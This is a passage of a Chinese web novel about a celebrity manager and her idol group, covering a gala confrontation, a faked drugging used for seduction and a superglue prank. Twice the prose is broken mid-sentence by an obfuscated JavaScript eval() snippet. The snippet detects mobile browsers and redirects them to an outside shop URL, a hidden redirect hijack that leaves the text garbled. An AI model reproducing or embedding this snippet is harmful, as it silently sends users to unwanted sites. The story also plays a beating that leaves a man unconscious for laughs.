“什么!??”宫欢的注意力从把手抽回来转移到这段话上面,“他们说话那么过分?” 欺负她的狗也得问问她吧! 宫欢当即就想挣脱桎梏,去把那几人找回来挨个揍一顿。 身体刚转一半,奚亭云手上用力将人拉回怀里,鞋尖不慎被她踩住,因为快速回身她几乎是栽回他怀里的。 “——你干嘛!” 宫欢下意识扯了扯他的高定外套稳住重心,距离更近了,他的温度有些渗出布料烫到她手指。 宫欢咬着牙压低声音警告道,“现在还在外面,你别闹!”她紧张地到处看,心虚得要命。 奚亭云也学她用气音讲话,低哑的、醇厚温和的声音很是勾人,气息落在耳廓微痒:“你哄哄我吧......他们说我不配在你身边,说我是靠脸上位的,过不了多久你就会厌烦我,让我滚。” 宫欢越听越觉得怪异,她皱着眉头满脸困惑:“他们骂得这么委婉吗?” “欢欢......” “咳咳,我是说这群人真是该死啊!” 宫欢紧急拐弯改口,酒会里的人密密麻麻,等会灯光再扫过来被看见就完了,她只得抬手抚在奚亭云侧脸,安抚的话张口就来:“你别听那些人的挑拨离间,你明明是靠实力的啊,我不会厌烦你,你可是我的一棵摇钱树,我哪儿舍得让你滚啊,我天天保护你还来不及。” “好了好了,”奚亭云偏头轻蹭着她的手,宫欢顺势拍拍他侧脸,“我真得去忙了,你先自己待会,不想社交就坐在那吃东西。” “好。” 在灯光再次扫过来前,宫欢动作飞快地整理了下衣服,目光在人群里搜索那几个混子。没一会便隐入众人中不见了。 奚亭云微微长舒一口气,继续坐回原位保持着风轻云淡的姿态。 他没看手机,也不喝酒吃甜品,只是坐在酒桌旁目光放空,偶尔看着酒会中其他交谈的人,略作沉思。 有些名流大腕看他眼熟,也有人热切地过来搭话,奚亭云只是客气地微笑摆手,示意自己不喝酒。隔绝了不少人想要社交的心思。 餐前酒会进行得如火如荼,人群里传来清脆的酒杯碰撞声,交谈的杂音很快模糊开,在众人之中,陈闪闪喝着酒四处乱晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126435|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼神不经意地扫过人群,他目光锁定在不远处坐着的人身上。 刚才那几个‘混世魔王’没怎么折腾奚亭云,要不是宫欢来得太快,奚亭云早就趴在地上给他们舔鞋了。 陈闪闪死死盯着坐姿端正,一表人才的奚亭云,咔哒一声,手中高脚杯裂开一条裂缝。 之前在【敢说敢言】舞台上的那场团舞是他这辈子没受过的委屈,被掺了荧光粉的粉底液让他几乎身败名裂,随后爆出的‘夜店玩咖’事件都被这根导火索引爆。 郑羽将他骂得狗血淋头,璀璨娱乐甚至要因此雪葬他,还好陈闪闪争气,靠着粉丝快速翻身才没被彻底踢出局。 这一切归根结底都是因为他们三个! 什么X男团,不就是剽窃他们的团名! 陈闪闪看了眼另外两人,萧子重身边站着导演,安声身边是音乐公司的人,他不好下手,只有那边单独坐着的人最适合。 借着人多,陈闪闪悄悄凑近,端酒侍者经过时,他特意将手中的酒换了满满一大杯的香槟。 随着距离越来越近,陈闪闪等着移动光束略过后,便迫不及待地将满满一大杯香槟朝座椅上的奚亭云头上重重泼去—— 哗啦! 淡金色液体由上至下将奚亭云狠狠泼得湿透,他呼吸一滞,发顶不断向下淅淅沥沥地流动着酒水,将整张脸半个身体都打湿完了。 奚亭云怔愣片刻后迅速起身,转身便看见染着一头绿发的陈闪闪恶劣地看着他讥笑:“怎么回事啊,喝个酒喝得一身都是,这可是在晚宴酒会上,太失礼了吧,大、明、星!” 奚亭云脸色阴沉下去,他鲜少生气发怒,此刻却是真的被惹怒。 他绕开座椅,手指指骨捏得咯咯作响,胸腔剧烈起伏,勉强压抑着呼吸,低声骂道:“如果有病,就请去精神科看看脑子,请不要在公开场合发疯。” 他骂人的功夫还是学过宫欢的某些逻辑的,可放在这场面上还是太温柔,连用两个请字,不知道的都听不出来在骂人。 陈闪闪毫不畏惧地嘲笑:“一个路边破卖炒饭的,爬了宫欢的床就以为能跟我平起平坐了!?你以为你算哪根葱,我背后的璀璨娱乐是圈里靠山最大的经纪公司,你以为宫欢能保你多久?之前你们谁换了我的粉底液!?害我差点前途都毁了,你们也别想好过!” 两人争执的声音略大,引起一些人的注意,不少人往这边看,眼里满是八卦与探究,没人阻拦,更多的是看热闹的架势。 陈闪闪赶忙躲开,藏在人群里几下就没了影子。 泛着清雅的香槟酒水流过眼睛,奚亭云闭了闭眼,压下心底的阴郁。 酒会上的人看着他偷笑,他们窃窃私语,打量他的狼狈。好像他遇到的针对和恶意是这场宴席上的开胃菜,他们吃得很香。 他被当成一盘菜肴端上桌,人人都来夹一筷子,没有任何人的尊严与体面而言。 ......现在不是惹事的时候,更不是给欢欢找麻烦的时候。 他不断劝诫自己,竭力维持着仅存的尊严,拖着略重的步伐,垂着湿漉漉的头穿过人群往洗手间的方向走去。 - 某处阴暗小角落。 宫欢拍拍手上不存在的灰尘,身后三人被她挨个甩过巴掌坐在一堆,一个屁都不敢放。 “欢届,”一人肿着嘴说话含糊,“我们知道错了,再也不敢跟您桌对了!求您别去找我老爸说我之前开群P的事!!” 一人哭得稀里哗啦:“呜呜呜我,我下次看见你们就躲着走还不行吗,别,别发我一个抱十个裸身男模的照片无误u我——” 一人趴在地上抱住宫欢大腿叫妈:“妈——啊啊啊妈啊,我发誓以后X男团就是我兄弟,别举报我偷税漏税啊啊啊啊啊嗷嗷!” 宫欢没好气地白他们一眼:“下次针对谁之前先问问是谁家的狗,也不看看主人就敢骂,真是给你们惯的了,家里治不了你们就我来治,让社会教教你们做人。” 她说完一甩头,踩着小高跟鞋哒哒哒地走远了。 这事儿没完,还差一个陈闪闪。 今晚酒会没看见璀璨娱乐的郑羽来,只来了一个陈闪闪。他也是敢往枪口上撞,明知道自己今天单枪匹马的,居然还来惹她。 真是不知好歹。 宫欢这么想着,就开始在酒会里大肆找人,没多久就一眼瞧见招摇的一头绿发——怕谁看不见他似的。 这人猫着腰,鬼鬼祟祟地往人多的地方钻,趁着钻的空档时不时警惕地往后瞟一眼。 宫欢往前走一段路,站定在原地。 做贼心虚的陈某一个转身撞上她,惊惶间也顾不得抬头看,忙低声道歉。毕竟参加晚宴的人非富即贵,能少惹事就少惹。 可当他准备绕开面前的人时,只觉得头发猛地一痛,接着头皮几乎都要被薅起来,陈闪闪顿时大叫:“啊啊啊疼疼疼谁啊——”一抬头,看见宫欢,当即哑了火。 “你、你——你怎么在这!?” “来逮你啊。” 宫欢皮笑肉不笑地朝人扯了扯嘴角,抓着那一头绿毛的手没松力,反而扯得更用力,连拖带拉地将人拽到酒会后方的草坪处。 “救命啊!杀人啦——宫欢要杀人——唔唔唔!” 陈闪闪惊恐地朝酒会那边嚎叫,被宫欢反手捂住嘴,她力气大得惊人,陈闪闪身型瘦弱,一个玩咖身体早就亏空了,根本不是宫欢的对手。 猛一松手,手上还有些被拽下来的绿发。 宫欢甩甩手,嫌脏似的在衣服上擦了两下,她蹙着眉正要狠狠批斗陈闪闪,没成想他倒在地上往后缩,连声求饶: “我我我错了,宫欢,我当时就是一时气不过才那样干的,但是我也就只是往他头上泼了酒,也没怎么让他难堪,比起你们对我做的——我已经够客气了!!!” “你说什么!?”宫欢音调顿时拉高,“泼酒?” 她有点不好的预感。 陈闪闪两手挡在脸上,怕被宫欢扇巴掌,他小心翼翼地露出头,颤颤巍巍地吐露:“......你,你不是因为我往奚亭云头上泼酒才来揍我的吗?” 宫欢气到极点反而笑了,笑声让陈闪闪仿佛看见鬼怪似的惊悚,浑身的鸡皮疙瘩都泛起来:“宫、宫欢,你冷静点,我就只是——啊!!!” 没等陈闪闪辩解,宫欢上来先朝他脸上踹了一脚,陈闪闪精心保护半天的脸直接印上个鞋印,他大声放肆地嚎哭哀求着:“打——人——别——打——脸——啊!!” 宫欢全当没听见,对着陈闪闪一通又踢又踹,打得小脸通红血气上涌,她嘴也不停,抽空还要连打带骂:“真是!给你!脸了!” “酒会那么多人,你敢下我面子!” “欺负我的人让我颜面无存!!” “去死啊啊啊啊啊——!” 等打过一阵后,宫欢累得浑身脱力,她两手撑着膝盖气喘吁吁,旁边鼻青脸肿的陈闪闪呜呜直哭:“我下次再也不敢了欢届,我真的是一时鬼迷心窍——啊!” 他一说话,宫欢忍不住又踹了一脚,直到陈闪闪昏过去,耳边清净了才解气。 她站直身体理了理衣服褶皱,完全冷静下来后,脑中略过陈闪闪的话。 他朝奚亭云泼酒了。 在这场明星云集的酒会。 宫欢脸色沉了沉,顾不得其他,匆匆原路返回往酒会走。 餐前酒会的流程结束,不少人在跟随工作人员的引导往宴客厅里走,准备参与‘拍卖藏品’的流程。 宫欢找到了萧子重,拉住人问:“看见奚亭云了吗?” “老奚?刚才还在那边坐着呢,奇怪了。” 宫欢又瞧见安声,拦住他问:“看见奚亭云了吗?” “奚哥?啊...刚才聊得太开心了,没看见诶。” 以防出现问题,宫欢让两人按照正常流程进场,自己则在外面找人。 等酒会上的所有人都进入宴客厅,还是没看见奚亭云的身影。 真是愁死人了。 她准备让工作人员帮忙一起找人时,随身携带的手机响起轻微的消息提示声,宫欢这才后知后觉地想起来—— 这个世界上是有通讯设备的! 她急忙解锁屏幕,消息果然是奚亭云发来的。 他发的是语音,不长,10秒。 点开语音,先传来的是接连不断的水流声,哗哗哗的有点嘈杂,在水流旁的是略带压抑的呼吸声,不平稳,有几分急促,低哑的气音在发颤: “...欢欢,我刚才喝了一杯酒,好像有点不太对劲......” 语音在耳边缓缓炸开,宫欢下意识屏住呼吸。 “我在酒会右边的二楼包厢里......” 145. 被下药 一个合格的经纪人自然知晓场地的布局。 因此,宫欢很轻松地找到了二楼的休息包厢。 脚步将将停在亭云所说的7号房间外,身体里所有纷杂吵嚷的情绪仿佛水中沉淀的颗粒物,在水平稳时,也落回底部。 宴客厅那边偶尔传来被减弱的鼓掌声,不但没觉得吵,反而使宫欢更清醒。 她的手搭在门把手上,没多余的思索就轻轻拧开—— 随着门的缝隙加大,门内昏黄的光线在地毯上蔓延出来,沿着她的鞋尖攀爬至整个身前,柔和光线勾勒出她的面部轮廓。 平时明艳张扬的神采好似被人为加了层滤镜,一下柔软许多,眼眸转动间很是轻缓,带着说不出的动人韵味。 奚亭云就这么直勾勾地看过来。 在开门的那一瞬他就在看,好像他始终都在盯着门的方向,只等被打开的那一刻。 他贴着床沿坐在地毯上,修身的西裤因为这个动作向上箍紧,露出一截脚腕。他身体无力地倚靠在床边,神情颓靡,领口解开了几颗纽扣,露出胸前的部分皮肤。 他微仰着头,壁灯映在脖颈至下颌的部分,莹润的肤色被照得半透明,眼眸紧紧凝视着她。 大概因为被她看着,紧张地咽了咽唾液,喉结缓慢地滚动了下。 “......欢欢。” 见宫欢开门后一直没反应,奚亭云叫了她一声。 他单手撑在地毯上,修长的手指深陷绒毛中,紧紧抓着想撑起身体,摇晃了下又坐回原地,呼吸急促时胸膛起伏得很快。 宫欢不动声色地走进门内,反手将门带上。 她没表现出什么明显的情绪,奚亭云揣摩不出她的态度,只朝她那边歪了歪身体,眼底泄出迫切而脆弱的神色,甚至伸出手想触碰她的一截裤腿。 宫欢往后躲了躲,在他动作僵住时又捉摸不透地半蹲下身与他视线齐平。 “你刚才说,你喝了酒?”她挑眉问道。 “嗯...”奚亭云默默收回手指,揪紧地毯的绒毛,指骨用力到泛白,他撒谎时垂下眼没敢看她,“你走之后陈闪闪回来劝我喝酒,当时周围很多人都在看,我...我就喝了......” “怎么能喝他给你的酒?”宫欢略一蹙眉,不满地说,“你明知道他没安好心。” 奚亭云抬眸时眼眶微红,似是醉意上头:“我知道,但是我不想让其他人看热闹。” 这句话是真的。 宫欢静静地看他片刻,轻声说:“酒里被下了药吗。” “下——?”奚亭云无意识地重复她的话,在吐出半个字后眼瞳微微转动,微妙的困惑后浮现出恍然的神情来,在这关头他紧急改口,顺着宫欢的想法往下说,“应该是的,他们给我下了药......” 下药。 好像是个更好的借口。 确定下药的理由更合适后,奚亭云比刚才更放得开。 他抬手扯了扯本就松开的领口,胸前的衣服几乎成了深V的款式,脸颊两侧浮现更多的红,他想看她,眼神却又偶尔躲闪,像是觉得羞耻。 垂眼间隙看见宫欢搭在膝上的手,他心神一动,像是豁出去似的,轻轻抚上她的手背,仍避开视线,牵带着她的手放在脸侧。 微凉的手与滚烫的脸颊一相触,两人的心口都重跳一下,她好像听见他更慌乱的呼吸声。 奚亭云摁着她手背,强行将接触的面积扩大,侧脸紧贴她的手心,滚烫的温度不消片刻就温暖了手掌。 他调整了下坐姿,侧坐着,两条长腿委屈地收叠起来,身体正对着宫欢。 “怎么办,欢欢,”他慌忙无措地两手捧着她的手,侧着头不停地蹭她,眼睫刮过手心时带起细密的痒意,“我...我不舒服,浑身都烧得很热,你摸摸我,看,好烫......” 他压着她的手顺着下颌往领口里钻,泛着凉意的指尖沿着脖颈滑到喉结。 宫欢咽了咽唾液,眼神没办法从他身上移开,她指甲重重刮了两下反复滑动的喉结,他便压抑地闷哼出声。 “嗯……” 他不受控地强硬分开她手指,十指交叠,指缝过度地相互摩擦,为了宫欢更能完全地握紧脖颈,他仰起头将修长的脖颈往宫欢面前送:“再,再用点力好吗?” 宫欢根本没怎么用力,奚亭云自顾自地使力压着她手背,好像在教她怎么用力,怎么掐紧他脆弱的喉咙。 “你说,”宫欢冷静地分析着,似乎完全不受面前的场景诱惑,“是陈闪闪在酒里给你下了药?” “对...”奚亭云胡乱应答,眼眸迷乱地眯起,呼吸带着沉哑的轻吟,“嗯哈...是他。” “太过分了!”宫欢声音加大,迅速抽回手,果断地站直了身体,单手叉腰一本正经地说,“找人来给你下马威也就算了,还敢给你下药!?” 让奚亭云失控的源头被收回,他短暂地失神片刻,大脑勉强跟上宫欢的思路:“是这样的。” 宫欢抱起手臂原地踱步一圈,当即决定:“我必须去逮住他揍一顿才能解气,该死的陈闪闪,这么横行霸道以为没人能治他了吗?” 她说着就转身要往外走,奚亭云此刻虽然迟钝,却十分清楚一件事—— 宫欢不能走。 这一秒,他顾不上任何尊严体面,身体向前扑,手指紧紧攥住她干净的裤腿,收拢着这片残留的衣料往回拉扯。 宫欢本就没打算真的走,佯装离开的步伐被人强制截断,她转过身,看见奚亭云额头上布满细密的汗珠。 “等等,欢欢,”他好像真的意乱情迷,裸露在空气里的冷白肤色渐渐染红,奚亭云抿了抿干渴的唇,暗含意味地提醒宫欢,“现在是不是应该先解决一下我的问题?” “你的问题?”宫欢上下扫他一眼,恍然大悟,“哎呀,这可就麻烦了,我现在就带你去医院。” “……去医院,可能来不及。” 奚亭云的手指克制地轻蹭她的脚踝,那处纤细得骨骼明显,他用拇指反复地摩挲凸起的一截骨头,仅是这样,胸腔里的心跳强烈地快要让他晕眩。 他胆子比之前大了很多。没在她默许下都敢主动地触碰她,奚亭云缓缓抬头,以仰视的姿势看她。 勾引的手段或许还是太过拙劣,但借着‘被下药’的理由,宫欢应该会......哪怕只是看着他纾解......也好。 暧昧的空气沉闷得让人喘不过气,宫欢深深呼出一口气,面色冷静严肃,她慎重地说:“那就只有一个办法了。” 奚亭云眉梢微动,眼神里带着钩子。 ...... 5分钟后,浴室。 水珠一颗颗溅在半透明的玻璃上,花洒不遗余力地向下喷洒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126436|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷的水流,反反复复冲刷着靠坐在地上的男人。 奚亭云的纤长眼睫不断往下滑落大颗的水珠,一身几十万的高定服饰被淋得湿透。 他无措地眨了几下眼,咽下被冲入口中的水,嗓音压得沉,有几分无奈纵容: “欢欢...我们没有别的办法了吗?” 宫欢单手拎着小小的花洒喷头拍了拍,似乎是嫌花洒水力不够大。 她毫不留情地对着他胸口那片裸露的皮肤一阵冲刷,顺着胸口一路往下,在某处不可言说的地方更是长时间停留,让冷水平息一切。 听见奚亭云的话,她啊了一声,晃着花洒肆无忌惮地用冷水全面冲刷奚亭云,她无辜地说:“热水不行啊,这热水坏了。” 奚亭云在高强度的水流下默默闭上了眼,任由她用冰冷的水洗涤他。 欲望是一种污秽的东西,他确实该被好好的清洗干净才能留在她身边。 只是...他好恨,恨她是根木头。 - 三小时后,晚宴结束。 名流嘉宾们陆续离场,宫欢和换过衣服的奚亭云走出房间,刚走到酒会的场地,就看见安声和萧子重乐滋滋地走来。 萧子重猛拍宫欢的肩膀,嘚瑟的炫耀:“宫欢,好好感谢我们吧,这场慈善晚宴我们可给你挣够了风头。” 安声应和:“对啊对啊,整个拍卖里面其他人都一直在看我们,还有主办方刚才握着我们的手不停的说感谢感谢。” 这两个不靠谱的人凑到一块,宫欢的第六感响起警报。 没等她追问,拍卖行的工作人员端着红布遮盖的物品过来,恭恭敬敬地端到宫欢面前,诚恳地说:“感谢宫欢女士为山区儿童做出的慈善之举,我们会将您的名字告知每个得到捐助的孩子,感谢您!” 被强行架起来的宫欢不得不强颜欢笑,在工作人员鼓励的眼神下掀开红布,红布下安静待在托盘上的是一本写到一半的作业本,纸张的下半部分被火烧过,灰黑的纸张一碰就碎。 她脸上的笑意凝固,一副半死不活的模样,声音扭扭曲曲地问出来:“这——是什么??” 工作人员体面的微笑:“这是之前天灾山火降临时被烧毁的孩童们真挚诚恳的作业,他们失去作业后哭得特别难过,这件拍卖品刚才不少老师都在拍呢。但最后还是被您拍下了,恭喜您,您以五千万的价格拍下这本孤品绝版的作业本!” 宫欢僵硬地转动脖颈看向萧子重和安声,两人笑嘻嘻地回看她,一瞬间,她想杀人的眼神已经将两人杀了无数遍。 她闭了闭眼,感觉气血上涌到头顶。 萧子重见状不妙,拽着安声后衣领趁着她闭眼的间隙往外跑,不过片刻,宫欢便睁开眼,拔腿就追,边追边喊:“你们两个——给我——死!!!” “欢欢姐你别生气啊!!你说可以随便拍的吗!” “宫欢你别急啊,虽然这只是一本作业本,可在场的所有人都认识了我们——诶诶诶你怎么扔鞋呢!!” 等几人跑远,奚亭云接过工作人员递过来的孤品作业本,他头发潮湿微乱,衣服穿得是酒会侍者的同款燕尾服,只是领口敞开,周身透出一种颓靡落寞的文艺感来。 “谢谢。”奚亭云礼貌地向侍者一点头,转身往外走了。 工作人员愣愣地看着奚亭云走远,不明白这唱得是哪出戏。 146. 马桶事件 别墅内最近很热闹。 众人都处在拍戏休息的时间里,各类代言商演的档期排得不紧,以至于大家基本每天都能碰面。 忙起来接触得少,很多细节便不太好串联起来,但一长时间相处,每个人最近的转变就格外明显。 奚亭云坐在会客区,手捧之前的三鬼将剧本细看。一旁的厨房,萧子重单手扔着橙子走出来,身后紧跟着一个甘惊鸿。 “今天我必要血洗这阎罗殿!”甘惊鸿神态凝重,走路的步伐都是滑行到萧子重身前,以手做剑抵在他颈间,眉眼间狠厉绝情,“你,死!” 萧子重眼神落在她身上,单手稳稳接住下落的橙子,喉间溢出声低笑。 他好整以暇地接戏,手指轻轻拨开她当做剑刃的手指,语调忽然切换到三鬼将的腔调: “哎呀呀,姑娘脾气可真大,动不动就要杀要剐的,当真是无情。” 他平时看着散漫没个正型,可一进入角色状态,痞里痞气地作态一摆,当真是风流倜傥。 甘惊鸿盯着他看了几秒,耳根红了红,默默抽回手装作无事发生。 偏偏萧子重眼睛像看不见似的追着她问:“怎么不继续了?忘词了?不是说你看了很多遍吗,怎么忘了,你都看谁了......” 聒噪! 甘惊鸿捂着耳朵跑走。 正厅大门外,赵莉莉右手拎着一塑料袋回来,面前残影似的闪过两个人,还好她及时刹住脚步才没撞上。 “慌什么呀,”赵莉莉心有余悸地拍拍胸口,“急急燥燥的。” 宫欢从木质楼梯下来,看见赵莉莉手里提的一大袋东西,急忙忙接过:“你买的什么啊,以后重的东西让助理帮你一起拿呀。” 刚接过手,扑鼻而来的中药味冲得宫欢胃里翻腾,她还没接过来,就摆着手匆匆往洗手间跑:“我我帮不了你了,我反胃——” 赵莉莉担忧地诶了一声,会客区沙发上的奚亭云赶忙丢开剧本追着宫欢嘘寒问暖:“怎么了欢欢,哪里不舒服?” 又是两个残影消失,赵莉莉无奈地摊手:“这就是我不让别人帮我的原因。” 有什么在微妙地发生改变,大家都有点察觉,可又不敢挑明来说,只好他和她心知肚明,他和她装作无事发生,她和她互相了然于心。 比起别墅内尚不清楚的情况,赵莉莉的个人感情方面倒是公开的秘密。 在拍摄《重生之家产一定是我的》这部剧时,有狗仔曾拍到赵莉莉与陈丰同进晚餐,娱乐绯闻刚闹了一天便很快销声匿迹,是宫欢找人压下去的。 绯闻可以传,但不能大传。 宫欢旁敲侧击地问过赵莉莉的个人感情方面,她倒也没有避讳,直言自己在与陈丰恋爱。 现在正是事业上升期,宫欢让赵莉莉最好不要公开恋情。 赵莉莉欣然应允。 - 三楼。 “小甘——小甘...小、饼干,你真的忘记我说过的台词了?” 萧子重紧跟在甘惊鸿身后,连声叫了几下她的名字后,夹带私货地掺进去一句小饼干。 甘惊鸿反应很大地往前跳了一步,转身瞪大眼睛看他,像是不敢置信。 她眼珠乌黑,滴溜溜地转了一圈,胆量好似被吹起的气球迅速膨胀,她意有所指地看他:“我哪敢忘。前辈教过的事情,一个也不敢忘。” 说这话时,她的手心攥得紧紧的,脸颊迅速升温。 可仍强撑着注视萧子重。 反倒是穷追不舍的萧子重听见她如此直白的话后噎了噎。 脑海不受控地闪回到他强势教她吻戏的记忆,他顿时慌了神,连对视都做不到,躲闪着视线:“咳咳,那,那就行,我有点不舒服,去下洗手间。” “前辈——” 甘惊鸿喊也喊不住人,只好磨磨牙,盯着萧子重的背影一溜烟地消失在楼梯口。 ...... 门被迅速关闭。 萧子重单手撑在门板上,额头抵着手臂,缓和过速的心率。 最近他和她的时间一下充盈许多,两人的接触自然增多,萧子重总是忍不住去注意她的一举一动,而恰好,她也非常黏他,向他请教各种演戏方面的细节。 好,又不好。 他应该与她保持距离,他要清楚地告诉她,她现在正逢一个演员的黄金期,事业上升期......她所有的专注都应该在事业上面。 但每当甘惊鸿与宫欢讨论惊心动魄CP的热度时,他又忍不住去搅局。 连宫欢都骂他“别犯贱”。 萧子重深深吐出呼吸,单手掐在太阳穴揉动几下,转身走到马桶旁,掀开,坐下—— 坐下的一刹那,大腿皮肤触碰到什么黏稠的膏状体,他皱了皱眉,猜想到一些乱七八糟的可能后,胃里泛起酸水,一阵翻涌着窜上喉管。 “什么鬼东西!” 他正要起身,却发觉身体仿佛被牢牢固定在马桶上,任由他如何挪动都无法抬起。 萧子重惊愕不已,他的肌肉含量是三人里最多的,是别墅里唯二力气大的,可却没办法从马桶上站起来? 他咬着牙,两手撑着后面又反复尝试几次,大腿与马桶圈仿佛被什么黏在一起,怎么都脱离不了。 不、是、吧!? 他有种不祥的预感,手往马桶圈那摸了一下,移到眼前,那膏状体形似一种强力胶——502。 手指一触碰再拉扯开就揪起皮肉,萧子重脸色发白,绝望地仰头望天花板:“是——谁——干——的——啊!?” ...... 五分钟后。 奚亭云与安声同时收到萧子重在三人群里发的消息。 萧子重:【救命!】 萧子重:【十万火急!】 萧子重:【我被人陷害了!在洗手间!】 安声:【?萧哥,如果需要送纸也不用这样卖惨/无奈】 安声:【我刚练完舞,只有手有力气发消息,没办法给你送纸了/抱歉】 奚亭云:【没空。】 奚亭云:【忙。】 萧子重坐在马桶上急得挠头,连文字都顾不上发,直接发起群聊语音通话,被两人双双挂断。 安声:【我累/哭哭,不想说话。】 奚亭云:【忙。】 见两人丝毫不管他死活,萧子重只得使出必杀技:【谁来我就告诉谁一个超级大秘密,是关于我们所有人之间的一个秘密。】 安声:【我爬过来了!】 奚亭云:【不感兴趣。】 萧子重;【和宫欢有关!】 奚亭云:【来了。】 不消片刻,奚亭云与安声齐聚三楼洗手间门外,这间洗手间属于公用洗手间,平时没人用。三人房间里各有单独的洗漱卫浴,因此基本用不上公用洗手间。 安声一身的汗,两手撑在膝盖上,弯着腰抬手拍门:“萧哥开门啊,我们来了,带了三卷纸,肯定够你用了。” 奚亭云站在一旁神游天外,仿佛只是来走个过场。 “我,我动不了!”门内的声音传出来有些模糊,萧子重急切地说,“旁边的洗手台上有钥匙,你们打开门进来。” 两人疑惑地互看一眼,虽然不解,还是找到钥匙插入锁孔。 推开门后,奚亭云仍站在外面不动,安声进入洗手间,将三卷纸塞给萧子重。 被塞了三坨纸的萧子重满脸懵逼,转而一甩手扔开:“谁跟你们要这个了!” 安声不明所以地挠头:“不要这个,那找我们来洗手间干什么,我没有奇怪的癖好,萧哥,我是个正经人,不爱看别人上厕所。” 门外,奚亭云站不住了,转身就要走:“没事我就先走了。” “等等!老奚救我——”萧子重一咬牙,自暴自弃地认了,“我,我被粘在马桶上了!” “?” “??” …… 洗手间里,两人围站成一圈看坐在马桶上颓废的萧子重。 萧子重满脸屈辱,愤恨不已:“我刚一坐下就发现不对劲,想站起来的时候发现被粘的死死的!!这马桶上面被涂了502胶!要是让我知道是谁干的,我一定——让他也坐上来!” 奚亭云单手托着下颌,绕着萧子重左右转,仿佛在研究这一行为艺术,他性格沉稳,看起来好像真的在分析: “谁会做这种恶作剧?” 安声坐在洗手台上,笑得往后仰倒,眼泪都溢出眼角:“萧哥你也太倒霉了,还好不是我,不然好丢脸啊。要是被欢姐她们知道了,肯定要嘲笑你好久。” 听见宫欢二字,就如同听见被广播连续二十四小时朝外循环播放:“萧子重被502粘在马桶上了。萧子重被502粘在马桶上了。” 萧子重当即蛄蛹两下,徒劳地踢了踢长腿,他裤子一早扒紧了,外套盖在身上,他咬着牙露出个笑:“今天的事,谁敢说出去的话,我就曝光所有人的秘密!” 这话一出,奚亭云脸色微微变化。 安声不明所以:“所有人的秘密?你们都有秘密吗?啊,难道就我没有秘密??不行,我也要有!” 萧子重还有心情挑拨离间,他挑眉往奚亭云那边示意:“就比如说,你欢姐和——唔唔唔!?” 奚亭云不知何时一步上前一把捂住了萧子重的嘴,他此刻正义感爆棚,当即统领全局号召天下:“我们必须救下他,马上想办法。” 安声睁着无辜单纯的卡姿兰大眼睛:“怎么救啊?” 三人微妙地沉默片刻。 萧子重双手抱头,被长时间的马桶坐姿折磨得简直要发疯:“不是,你们一个主意都没有啊!?那我摇你们来干嘛?” 奚亭云回怼道:“我们不是自愿来的。” “你和宫欢——”萧子重一扬声准备同归于尽的操作再次被奚亭云一把摁回去,另一只手将屏幕怼到人眼前,“网上说可以用热水浸泡软化胶水。” 安声听后主动参与营救任务,高举起手:“我,我去烧水过来,浇在萧哥身上。” 萧子重只觉得浑身冰凉,因为队友没一个可靠的,他咬紧后槽牙:“我粘的部位太多了,等你们浇完热水,我高低是个二级烫伤!” 奚亭云淡淡地点头附和:“有道理。” 本以为摇来两个人能有救,可没成想在场各位全员辣鸡。 萧子重瘫在马桶上身心俱疲:“我这辈子戎马半生,终究还是只能在洗手间里度过最后的一程,苍天有眼,谁来救救我啊——!” 安声趁机再次举手,他信誓旦旦地发话:“萧哥,我来,只要我出手,这次肯定能救你。” 萧子重垂死病中惊坐不起:“真的?” “那当然,看我的吧。”安声笃定地点头,他将手机举高,扬手一挥,解锁屏幕,找到联系人拨去电话。 嘟嘟嘟...... 洗手间内沉重的氛围被这通话铃声搅乱,三人的小心脏高高提起,在电话被接起的那刻,被营救的劫后余生之感让人忍不住落泪。 “你好,我是关清英,请问哪位。” “英姐!” “英神救我!!” “......”电话那头沉默两秒,“地点,位置,几个人?” - 挂断电话的五分钟后,关清英风驰电掣地赶到案发地点。 她推门而入,洗手间内两人围着马桶上的一个人,她盯着萧子重看了几秒:“你便秘了?” “去找你莉姐,她有药。” 说完,关清英就像是完成任务似的,转身准备撤了。 “等等!英姐,不是啊啊啊!”萧子重着急地喊住她,安声直接堵住门反锁,奚亭云解释:“马桶上有502胶水,他被粘住了。” 关清英的战斗本能被安声堵门的操作激发,她下意识就想抬腿踹门,硬是强行压下这股冲动。 她皱着眉转身回来,180度全方位绕着萧子重打量,目光紧盯着他坐着的那块部位。 女人身着长风衣,内里是利落的短衫长裤,裤腿收束在短靴里,袖口挽起,绕着萧子重走路时颇像是猎人在审视远处吃草的鹿群。 “不是,别这么盯着看啊,怪不好意思的。” 萧子重被她盯得浑身不适,别扭地扯紧外套确保把身体部位都盖严实。 他抖了抖一身的鸡皮疙瘩,小心翼翼地开口:“那个,英神,我还有救吗?热水不行啊,热水这招要是成功了我人也没了。” 关清英说话向来直接:“没救。” 曾信誓旦旦的安声:“不行!英姐你救救他吧,萧哥已经在上面坐了半小时了。” “是一小时。”萧子重皮笑肉不笑地更正道。 关清英凝神思索片刻,指挥安声和奚亭云抓住萧子重的腿,自己则揪住他的手臂,她命令道:“我喊一二三,一起往外拽,虽然会脱层皮,但是死不了。” “等等,等等!”萧子重急得两腿乱踢乱踹,但很快被两位队友制住,“我不想脱皮啊!!英神,我们没别的办法吗!二级烫伤也可以考虑啊啊啊啊!!!” 